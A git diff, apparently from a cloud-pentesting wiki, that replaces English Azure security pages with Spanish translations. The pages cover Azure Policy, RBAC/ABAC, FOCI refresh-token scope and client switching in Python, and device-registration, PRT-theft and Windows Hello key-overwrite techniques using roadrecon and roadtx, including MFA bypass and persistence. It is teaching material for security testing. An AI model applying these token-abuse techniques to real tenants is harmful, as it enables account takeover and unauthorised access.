pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Asegurar el Cumplimiento con Regiones Específicas de Azure**: Esta política asegura que todos los recursos se desplieguen en regiones específicas de Azure. Por ejemplo, una empresa podría querer asegurar que todos sus datos se almacenen en Europa para cumplir con el GDPR. +2. **Hacer Cumplir Estándares de Nomenclatura**: Las políticas pueden hacer cumplir convenciones de nomenclatura para los recursos de Azure. Esto ayuda a organizar e identificar fácilmente los recursos según sus nombres, lo cual es útil en entornos grandes. +3. **Restringir Ciertos Tipos de Recursos**: Esta política puede restringir la creación de ciertos tipos de recursos. Por ejemplo, se podría establecer una política para prevenir la creación de tipos de recursos costosos, como ciertos tamaños de VM, para controlar costos. +4. **Hacer Cumplir Políticas de Etiquetado**: Las etiquetas son pares clave-valor asociados con recursos de Azure utilizados para la gestión de recursos. Las políticas pueden hacer cumplir que ciertas etiquetas deben estar presentes, o tener valores específicos, para todos los recursos. Esto es útil para el seguimiento de costos, propiedad o categorización de recursos. +5. **Limitar el Acceso Público a Recursos**: Las políticas pueden hacer cumplir que ciertos recursos, como cuentas de almacenamiento o bases de datos, no tengan puntos finales públicos, asegurando que solo sean accesibles dentro de la red de la organización. +6. **Aplicar Automáticamente Configuraciones de Seguridad**: Las políticas pueden usarse para aplicar automáticamente configuraciones de seguridad a los recursos, como aplicar un grupo de seguridad de red específico a todas las VMs o asegurar que todas las cuentas de almacenamiento utilicen cifrado. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. - -Azure policy json example: +Ten en cuenta que las Políticas de Azure pueden adjuntarse a cualquier nivel de la jerarquía de Azure, pero se utilizan **comúnmente en el grupo de gestión raíz** o en otros grupos de gestión. +Ejemplo de política de Azure en json: ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` +### Herencia de Permisos -### Permissions Inheritance +En Azure **los permisos pueden ser asignados a cualquier parte de la jerarquía**. Eso incluye grupos de gestión, suscripciones, grupos de recursos y recursos individuales. Los permisos son **heredados** por los **recursos** contenidos de la entidad donde fueron asignados. -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. - -This hierarchical structure allows for efficient and scalable management of access permissions. +Esta estructura jerárquica permite una gestión eficiente y escalable de los permisos de acceso.
### Azure RBAC vs ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (control de acceso basado en roles) es lo que ya hemos visto en las secciones anteriores: **Asignar un rol a un principal para otorgarle acceso** sobre un recurso.\ +Sin embargo, en algunos casos puede que desees proporcionar **una gestión de acceso más detallada** o **simplificar** la gestión de **cientos** de **asignaciones** de roles. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (control de acceso basado en atributos) se basa en Azure RBAC al agregar **condiciones de asignación de roles basadas en atributos** en el contexto de acciones específicas. Una _condición de asignación de rol_ es un **chequeo adicional que puedes agregar opcionalmente a tu asignación de rol** para proporcionar un control de acceso más detallado. Una condición filtra los permisos otorgados como parte de la definición de rol y la asignación de rol. Por ejemplo, puedes **agregar una condición que requiera que un objeto tenga una etiqueta específica para leer el objeto**.\ +No **puedes** explícitamente **negar** **acceso** a recursos específicos **usando condiciones**. -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..798dfb4b2 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,98 +4,97 @@ ## Basic Information -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la nube de Microsoft, que sirve como el sistema fundamental de autenticación y autorización para servicios como Microsoft 365 y Azure Resource Manager. Azure AD implementa el marco de autorización OAuth 2.0 y el protocolo de autenticación OpenID Connect (OIDC) para gestionar el acceso a los recursos. ### OAuth -**Key Participants in OAuth 2.0:** +**Participantes Clave en OAuth 2.0:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Servidor de Recursos (RS):** Protege los recursos propiedad del propietario del recurso. +2. **Propietario del Recurso (RO):** Típicamente un usuario final que posee los recursos protegidos. +3. **Aplicación Cliente (CA):** Una aplicación que busca acceso a recursos en nombre del propietario del recurso. +4. **Servidor de Autorización (AS):** Emite tokens de acceso a las aplicaciones cliente después de autenticar y autorizar. -**Scopes and Consent:** +**Ámbitos y Consentimiento:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Ámbitos:** Permisos granulares definidos en el servidor de recursos que especifican niveles de acceso. +- **Consentimiento:** El proceso mediante el cual un propietario de recurso otorga a una aplicación cliente permiso para acceder a recursos con ámbitos específicos. -**Microsoft 365 Integration:** +**Integración con Microsoft 365:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365 utiliza Azure AD para IAM y está compuesto por múltiples aplicaciones OAuth de "primera parte". +- Estas aplicaciones están profundamente integradas y a menudo tienen relaciones de servicio interdependientes. +- Para simplificar la experiencia del usuario y mantener la funcionalidad, Microsoft otorga "consentimiento implícito" o "pre-consentimiento" a estas aplicaciones de primera parte. +- **Consentimiento Implícito:** Ciertas aplicaciones son automáticamente **otorgadas acceso a ámbitos específicos sin aprobación explícita del usuario o administrador**. +- Estos ámbitos pre-consentidos suelen estar ocultos tanto para los usuarios como para los administradores, haciéndolos menos visibles en las interfaces de gestión estándar. -**Client Application Types:** +**Tipos de Aplicaciones Cliente:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Clientes Confidenciales:** +- Poseen sus propias credenciales (por ejemplo, contraseñas o certificados). +- Pueden **autenticarse de forma segura** ante el servidor de autorización. +2. **Clientes Públicos:** +- No tienen credenciales únicas. +- No pueden autenticarse de forma segura ante el servidor de autorización. +- **Implicación de Seguridad:** Un atacante puede suplantar una aplicación cliente pública al solicitar tokens, ya que no hay un mecanismo para que el servidor de autorización verifique la legitimidad de la aplicación. ## Authentication Tokens -There are **three types of tokens** used in OIDC: +Hay **tres tipos de tokens** utilizados en OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Tokens de Acceso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** El cliente presenta este token al servidor de recursos para **acceder a los recursos**. Solo se puede usar para una combinación específica de usuario, cliente y recurso y **no puede ser revocado** hasta su expiración - que es de 1 hora por defecto. +- **Tokens de ID**: El cliente recibe este **token del servidor de autorización**. Contiene información básica sobre el usuario. Está **vinculado a una combinación específica de usuario y cliente**. +- **Tokens de Actualización**: Proporcionados al cliente con el token de acceso. Se utilizan para **obtener nuevos tokens de acceso e ID**. Está vinculado a una combinación específica de usuario y cliente y puede ser revocado. La expiración por defecto es **90 días** para tokens de actualización inactivos y **sin expiración para tokens activos** (es posible obtener nuevos tokens de actualización a partir de un token de actualización). +- Un token de actualización debe estar vinculado a un **`aud`**, a algunos **ámbitos**, y a un **inquilino** y solo debería poder generar tokens de acceso para ese aud, ámbitos (y no más) e inquilino. Sin embargo, este no es el caso con **tokens de aplicaciones FOCI**. +- Un token de actualización está cifrado y solo Microsoft puede descifrarlo. +- Obtener un nuevo token de actualización no revoca el token de actualización anterior. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> La información para **acceso condicional** está **almacenada** dentro del **JWT**. Así que, si solicitas el **token desde una dirección IP permitida**, esa **IP** será **almacenada** en el token y luego puedes usar ese token desde una **IP no permitida para acceder a los recursos**. ### Access Tokens "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +El campo indicado en el campo "aud" es el **servidor de recursos** (la aplicación) utilizado para realizar el inicio de sesión. -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +El comando `az account get-access-token --resource-type [...]` admite los siguientes tipos y cada uno de ellos añadirá un "aud" específico en el token de acceso resultante: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Ten en cuenta que los siguientes son solo las API admitidas por `az account get-access-token`, pero hay más.
-aud examples +ejemplos de aud -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Utilizado para acceder a la API de Azure AD Graph heredada (obsoleta), que permite a las aplicaciones leer y escribir datos de directorio en Azure Active Directory (Azure AD). +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Utilizado para gestionar recursos de Azure a través de la API de Azure Resource Manager. Esto incluye operaciones como crear, actualizar y eliminar recursos como máquinas virtuales, cuentas de almacenamiento, y más. +- `https://management.core.windows.net/ o https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Utilizado para acceder a Azure Batch, un servicio que permite aplicaciones de computación paralela y de alto rendimiento a gran escala de manera eficiente en la nube. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Utilizado para interactuar con Azure Data Lake Storage Gen1, que es un servicio de almacenamiento y análisis de datos escalable. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Utilizado para acceder a Azure Media Services, que proporciona servicios de procesamiento y entrega de medios basados en la nube para contenido de video y audio. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Utilizado para acceder a la API de Microsoft Graph, el punto de acceso unificado para los datos de servicios de Microsoft 365. Permite acceder a datos e información de servicios como Azure AD, Office 365, Enterprise Mobility y servicios de Seguridad. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: Utilizado para acceder a los servicios de base de datos de Azure para motores de bases de datos relacionales de código abierto como MySQL, PostgreSQL y MariaDB. +- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +El ámbito de un token de acceso se almacena dentro de la clave scp dentro del JWT del token de acceso. Estos ámbitos definen a qué tiene acceso el token de acceso. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. +Si un JWT tiene permitido contactar una API específica pero **no tiene el ámbito** para realizar la acción solicitada, **no podrá realizar la acción** con ese JWT. ### Get refresh & access token example - ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` +## Escalación de privilegios de tokens FOCI -## FOCI Tokens Privilege Escalation +Anteriormente se mencionó que los tokens de actualización deben estar vinculados a los **alcances** con los que se generaron, a la **aplicación** y al **inquilino** para el que se generaron. Si se rompe alguno de estos límites, es posible escalar privilegios, ya que será posible generar tokens de acceso a otros recursos e inquilinos a los que el usuario tiene acceso y con más alcances de los que se pretendía originalmente. -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Además, **esto es posible con todos los tokens de actualización** en la [plataforma de identidad de Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (cuentas de Microsoft Entra, cuentas personales de Microsoft y cuentas sociales como Facebook y Google) porque, como mencionan los [**documentos**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Los tokens de actualización están vinculados a una combinación de usuario y cliente, pero **no están vinculados a un recurso o inquilino**. Un cliente puede usar un token de actualización para adquirir tokens de acceso **a través de cualquier combinación de recurso e inquilino** donde tenga permiso para hacerlo. Los tokens de actualización están encriptados y solo la plataforma de identidad de Microsoft puede leerlos." -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Además, tenga en cuenta que las aplicaciones FOCI son aplicaciones públicas, por lo que **no se necesita ningún secreto** para autenticarse en el servidor. -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Luego, los clientes FOCI conocidos reportados en la [**investigación original**](https://github.com/secureworks/family-of-client-ids-research/tree/main) pueden ser [**encontrados aquí**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). - -### Get different scope - -Following with the previous example code, in this code it's requested a new token for a different scope: +### Obtener un alcance diferente +Siguiendo con el código de ejemplo anterior, en este código se solicita un nuevo token para un alcance diferente: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Obtener diferentes clientes y ámbitos ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Referencias - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..5ee6e1c97 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -2,23 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -When a device joins AzureAD a new object is created in AzureAD. +Cuando un dispositivo se une a AzureAD, se crea un nuevo objeto en AzureAD. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +Al registrar un dispositivo, **se le pide al usuario que inicie sesión con su cuenta** (solicitando MFA si es necesario), luego solicita tokens para el servicio de registro de dispositivos y luego pide una confirmación final. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Luego, se generan dos pares de claves RSA en el dispositivo: La **clave del dispositivo** (**clave** pública) que se envía a **AzureAD** y la **clave de transporte** (**clave** privada) que se almacena en TPM si es posible. +Luego, se genera el **objeto** en **AzureAD** (no en Intune) y AzureAD devuelve al dispositivo un **certificado** firmado por él. Puedes verificar que el **dispositivo está unido a AzureAD** y la información sobre el **certificado** (como si está protegido por TPM). ```bash dsregcmd /status ``` +Después del registro del dispositivo, se solicita un **Primary Refresh Token** por el módulo LSASS CloudAP y se entrega al dispositivo. Con el PRT también se entrega la **clave de sesión cifrada para que solo el dispositivo pueda descifrarla** (usando la clave pública de la clave de transporte) y es **necesaria para usar el PRT.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +Para más información sobre qué es un PRT, consulta: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -26,19 +24,18 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +El **TPM** **protege** contra la **extracción** de claves de un dispositivo apagado (si está protegido por PIN) y contra la extracción del material privado de la capa del sistema operativo.\ +Pero **no protege** contra el **sniffing** de la conexión física entre el TPM y la CPU o **el uso del material criptográfico** en el TPM mientras el sistema está en funcionamiento desde un proceso con derechos de **SYSTEM**. -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Si revisas la siguiente página, verás que **robar el PRT** puede ser utilizado para acceder como el **usuario**, lo cual es excelente porque el **PRT se encuentra en los dispositivos**, por lo que puede ser robado de ellos (o si no es robado, abusado para generar nuevas claves de firma): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## Registrando un dispositivo con tokens SSO +Sería posible para un atacante solicitar un token para el servicio de registro de dispositivos de Microsoft desde el dispositivo comprometido y registrarlo: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Lo que te dará un **certificado que puedes usar para solicitar PRTs en el futuro**. Por lo tanto, manteniendo la persistencia y **eludiendo MFA** porque el token PRT original utilizado para registrar el nuevo dispositivo **ya tenía permisos de MFA otorgados**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Ten en cuenta que para realizar este ataque necesitarás permisos para **registrar nuevos dispositivos**. Además, registrar un dispositivo no significa que el dispositivo será **autorizado para inscribirse en Intune**. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Este ataque fue solucionado en septiembre de 2021, ya que ya no puedes registrar nuevos dispositivos utilizando tokens SSO. Sin embargo, aún es posible registrar dispositivos de manera legítima (teniendo nombre de usuario, contraseña y MFA si es necesario). Consulta: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Sobrescribiendo un ticket de dispositivo -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo, y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> Sin embargo, esto fue solucionado. -## Overwrite WHFB key +## Sobrescribir la clave WHFB -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Consulta las diapositivas originales aquí**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Resumen del ataque: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- Es posible **sobrescribir** la clave **WHFB registrada** de un **dispositivo** a través de SSO +- **Elude la protección TPM** ya que la clave es **capturada durante la generación** de la nueva clave +- Esto también proporciona **persistencia**
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +Los usuarios pueden modificar su propia propiedad searchableDeviceKey a través del Azure AD Graph, sin embargo, el atacante necesita tener un dispositivo en el inquilino (registrado sobre la marcha o habiendo robado el certificado + clave de un dispositivo legítimo) y un token de acceso válido para el AAD Graph. +Luego, es posible generar una nueva clave con: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +y luego PATCH la información del searchableDeviceKey:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +Es posible obtener un token de acceso de un usuario a través de **phishing de código de dispositivo** y abusar de los pasos anteriores para **robar su acceso**. Para más información, consulta: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## Referencias - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..3983cc2fa 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Instalar PowerShell en Linux > [!TIP] -> In linux you will need to install PowerShell Core: +> En Linux necesitarás instalar PowerShell Core: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # Actualizar repos > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # Instalar y comenzar powershell > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## Instalar PowerShell en MacOS 